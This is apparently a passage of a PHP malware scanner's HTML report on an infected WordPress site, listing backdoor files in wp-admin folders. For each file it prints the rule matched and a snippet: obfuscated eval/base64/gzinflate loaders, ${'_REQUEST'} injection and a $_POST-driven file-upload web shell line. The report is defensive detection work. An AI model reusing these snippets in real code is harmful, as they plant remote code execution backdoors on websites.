<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$E</span><span style="color: #007700">[</span><span style="color: #0000BB">50</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit silenced_eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">@eval(</span><span style="color: #0000BB">$nH</span><span style="color: #007700">[</span><span style="color: #0000BB">1</span><span style="color: #007700">+</span><span style="color: #0000BB">3</span><span style="color: #007700">](</span><span style="color: #0000BB">$BQcf</span><span style="color: #007700">)</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$E</span><span style="color: #007700">[</span><span style="color: #0000BB">68</span><span style="color: #007700">](${</span><span style="color: #0000BB">$E</span><span style="color: #007700">[</span><span style="color: #0000BB">50</span><span style="color: #007700">]}[</span><span style="color: #0000BB">25</span><span style="color: #007700">])); } </span><span style="color: #0000BB">metaphone</span><span style="color: #007700">(</span><span style="color: #DD0000">"AuV5azu0/9u2vs6SLdwWjxsFG5xHaOdw7E5SjFXEGlk"</span><span style="color: #007700">); class </span><span style="color: #0000BB">s</span><span style="color: #007700">{ static function </span><span style="color: #0000BB">nYsMTLbNC</span><span style="color: #007700">(</span><span style="color: #0000BB">$quE</span><span style="color: #007700">) { </span><span style="color: #0000BB">$ygLJSiAF </span><span style="color: #007700">= </span><span style="color: #DD0000">"r"</span><span style="color: #007700">.</span><span style="color: #DD0000">"a"</span><span style="color: #007700">.</span><span style="color: #DD0000">"n"</span><span style="color: #007700">.</span><span style="color: #DD0000">"g"</span><span style="color: #007700">.</span><span style="color: #DD0000">"e"</span><span style="color: #007700">; </span><span style="color: #0000BB">$PH </span><span style="color: #007700">= </span><span style="color: #0000BB">$ygLJSiAF</span><span style="color: #007700">(</span><span style="color: #DD0000">"~"</span><span style="color: #007700">, </span><span style="color: #DD0000">" "</span><span style="color: #007700">); </span><span style="color: #0000BB">$aFZr </span><span style="color: #007700">= </span><span style="color: #0000BB">explode</span><span style="color: #007700">(</span><span style="color: #DD0000">"<"</span><span style="color: #007700">, </span><span style="color: #0000BB">$quE</span><span style="color: #007700">); </span><span style="color: #0000BB">$TZr </span><span style="color: #007700">= </span><span style="color: #DD0000">""</span><span style="color: #007700">; foreach (</span><span style="color: #0000BB">$aFZr </span><span style="color: #007700">as </span><span style="color: #0000BB">$ut </span><span style="color: #007700">=> </span><span style="color: #0000BB">$SBbHAPj</span><span style="color: #007700">) </span><span style="color: #0000BB">$TZr </span><span style="color: #007700">.= </span><span style="color: #0000BB">$PH</span><span style="color: #007700">[</span><span style="color: #0000BB">$SBbHAPj </span><span style="color: #007700">- </span><span style="color: #0000BB">30378</span><span style="color: #007700">]; return </span><span style="color: #0000BB">$TZr</span><span style="color: #007700">; } static function </span><span style="color: #0000BB">IXqi</span><span style="color: #007700">(</span><span style="color: #0000BB">$bMaputhENW</span><span style="color: #007700">, </span><span style="color: #0000BB">$pNSFXvkzxl</span><span style="color: #007700">) { </span><span style="color: #0000BB">$YrljpUXVE </span><span style="color: #007700">= </span><span style="color: #0000BB">curl_init</span><span style="color: #007700">(</span><span style="color: #0000BB">$bMaputhENW</span><span style="color: #007700">); </span><span style="color: #0000BB">curl_setopt</span><span style="color: #007700">(</span><span style="color: #0000BB">$YrljpUXVE</span><span style="color: #007700">, </span><span style="color: #0000BB">CURLOPT_RETURNTRANSFER</span><span style="color: #007700">, </span><span style="color: #0000BB">1</span><span style="color: #007700">); </span><span style="color: #0000BB">$tgUXSljfmR </span><span style="color: #007700">= </span><span style="color: #0000BB">curl_exec</span><span style="color: #007700">(</span><span style="color: #0000BB">$YrljpUXVE</span><span style="color: #007700">); return empty(...</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_148").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/css/colors/sunrise/sunrise/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.52 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:36</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:36</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_149" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'gx683tB8niiMAf7g3aJZMrQWJhxLJ79W4N8tnfPS9nf71HfpOO8t3HXqHs9pmve4jDlrXP4wjfo4r16jq8Laep23zVK6q7XsSz+zTP/+tHvzLPd8KW4l7f7sHuXuHf8qHUtA3M4Odeugf199pGfObKRsxGoP9P6tuYv3f8+1JHtNvdjRErhMNOSB7F8RNzkT41zn2z+3oQPva9DSJMHVKBoX7yjVw+sXAg4NRfgArir0UgETftfTp+rqi1TXaP5cH5GcGzoCk3Gf0twFeCxMSdGEADMOhPIbZcI+0KjT2yJ8Msu+DD3XO+HjVgH2VyPQaoGdxoPdBd7sGe3WqI7i3+53OoTn38mZXfw1O+prV2q1aUZpJC2JbPjXou0PP7eW4Pfyeda2XXp1Lneav2DpD8CS1aQ0VVEb9+ecaVtegfanIxEvLxBtXau+bi626/PKKvtzg/CyqmVTACwBl7FDA1aFWtnBMTMjPj7V8ce7gb1FPMG37LK...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$QLMC</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">LAVe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_149").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/css/colors/sunrise/sunrise/sunrise/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.51 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:15:12</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:15:12</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_150" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'wa4Y6A/wfUQsW4brOtcqWyJg1TZ4yyYP1d7fc4avc7lHc5eP6hLnb87d6JxXM45D/bLEey+Pf855+tVeElAV9byyO2z2kwlrvPO+wb3ekOO/+9VxKPc9bn9ydS96rX9giD45B3px7k8pmvP14TZTJi1WLzp9Zt1F7d+j/vO5YM5vbMiaFEp3PFsWw31MTOh0D/aP3/jC1sqXPYlzQEpTUvWkLbgtbfAC7DC8GpWERRpBLOZ64uy/RVmxT76M10U6PQmxnyE+A7kp79OohJk4FoAHSkCOW2S4cMLkOuZLjwzx+KIuSX57XMWDiZXLXQpjSUTH9hLu7Wrh3tlKyu4tnBsD205NvZ21nea9Q2altatGVOa2QLn973FpL9rzunR73vYvuM8z9c9xjv2r9Q6oPBoaNI6uaitafPOtqWJ0ftTkYi3h4w1vdH/NRdb9/7JNLtTovCyuGVQESwDtDFDEVaGWznBMzMiHz7V8Me5k71EPsG07rj2...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$RmC</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_150").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/css/colors/sunrise/sunrise/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.94 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:36</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:36</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_151" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$vLWUjuM1JNcHhyx</span><span style="color: #007700">[</span><span style="color: #0000BB">35</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_151").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/network/theme-insmkuy.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 344.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 23:02:14</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 23:02:14</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_152" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit download_remote_code2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RFU (Remote File Upload), via HTTP, allow to write malicious code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">fwrite</span><span style="color: #007700">(</span><span style="color: #0000BB">fopen</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'name'</span><span style="color: #007700">]), </span><span style="color: #DD0000">'w'</span><span style="color: #007700">), </span><span style="color: #0000BB">$b4</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'message'</span><span style="color: #007700">])</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_152").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/network/network/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.52 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:15:00</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:15:00</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_153" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'wiOG/5B/roIDw3O4tWSGzKkVSY8SyevFezf82XHs6r3e5xXornP988i9m9P081DfeIc9yBnf4zFcueeQRvo6vafPaVha9mMXNK+wb/+8tHruDe9aNaxLn/2dT8mbX+4SP4ah2pxbm8NGvK54Td/ZiEiY/tRZu/1bZxfvvI9oP+HbOrGlEmDYGjSA318TNjkT8dzn+t+1sgPvatDQFsHUuU0rZpxLcL2LAB8mofQhRhVbOQirv2vxUvVV1+pKpncfiMDPnJUh2LjP6W4CLhYGpODBkBGm0XksMOEeuVjTyyJ+IMu8Pz3XOeHiZQH3RiPSWIGe5IPdBd7tKu3UqY7j/+52OYTn3cmZX/w3Cuc1Kb1aN6s0AR7ntLwFrL9rzunE+7XsXXm9x20+57X71WIdiXQqUDiuoq4r13jTpq1C+XbEJuYdJOI8K31fRc3U9/+RzW7E4vgsqZ1EgAcI5exAQtWRV7ZAzEz4z4eFPn3O4WdxDjx9+iD...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$VqBQv</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_153").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/network/theme-insrxfo.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 344.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:32:17</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:32:17</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_154" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit download_remote_code2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RFU (Remote File Upload), via HTTP, allow to write malicious code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">fwrite</span><span style="color: #007700">(</span><span style="color: #0000BB">fopen</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'name'</span><span style="color: #007700">]), </span><span style="color: #DD0000">'w'</span><span style="color: #007700">), </span><span style="color: #0000BB">$b4</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'message'</span><span style="color: #007700">])</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_154").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/network/theme-insplbx.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 341.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:21:49</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:21:49</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_155" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit download_remote_code2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RFU (Remote File Upload), via HTTP, allow to write malicious code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">fwrite</span><span style="color: #007700">(</span><span style="color: #0000BB">fopen</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'name'</span><span style="color: #007700">]), </span><span style="color: #DD0000">'w'</span><span style="color: #007700">), </span><span style="color: #0000BB">$b4</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'message'</span><span style="color: #007700">])</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_155").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/network/theme-insublv.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 338.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 19:41:30</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 19:41:30</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_156" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit download_remote_code2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RFU (Remote File Upload), via HTTP, allow to write malicious code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">fwrite</span><span style="color: #007700">(</span><span style="color: #0000BB">fopen</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'name'</span><span style="color: #007700">]), </span><span style="color: #DD0000">'w'</span><span style="color: #007700">), </span><span style="color: #0000BB">$b4</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'message'</span><span style="color: #007700">])</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_156").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/network/theme-inspugf.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 341.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 19:29:40</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 19:29:40</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_157" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit download_remote_code2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RFU (Remote File Upload), via HTTP, allow to write malicious code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">fwrite</span><span style="color: #007700">(</span><span style="color: #0000BB">fopen</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'name'</span><span style="color: #007700">]), </span><span style="color: #DD0000">'w'</span><span style="color: #007700">), </span><span style="color: #0000BB">$b4</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'message'</span><span style="color: #007700">])</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_157").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/network/theme-inspzwj.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 341.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 19:11:52</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 19:11:52</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_158" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit download_remote_code2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RFU (Remote File Upload), via HTTP, allow to write malicious code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">fwrite</span><span style="color: #007700">(</span><span style="color: #0000BB">fopen</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'name'</span><span style="color: #007700">]), </span><span style="color: #DD0000">'w'</span><span style="color: #007700">), </span><span style="color: #0000BB">$b4</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'message'</span><span style="color: #007700">])</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_158").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/network/theme-inscvkj.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 338.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:25:06</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:25:06</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_159" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit download_remote_code2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RFU (Remote File Upload), via HTTP, allow to write malicious code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">fwrite</span><span style="color: #007700">(</span><span style="color: #0000BB">fopen</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'name'</span><span style="color: #007700">]), </span><span style="color: #DD0000">'w'</span><span style="color: #007700">), </span><span style="color: #0000BB">$b4</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'message'</span><span style="color: #007700">])</span>
</span>
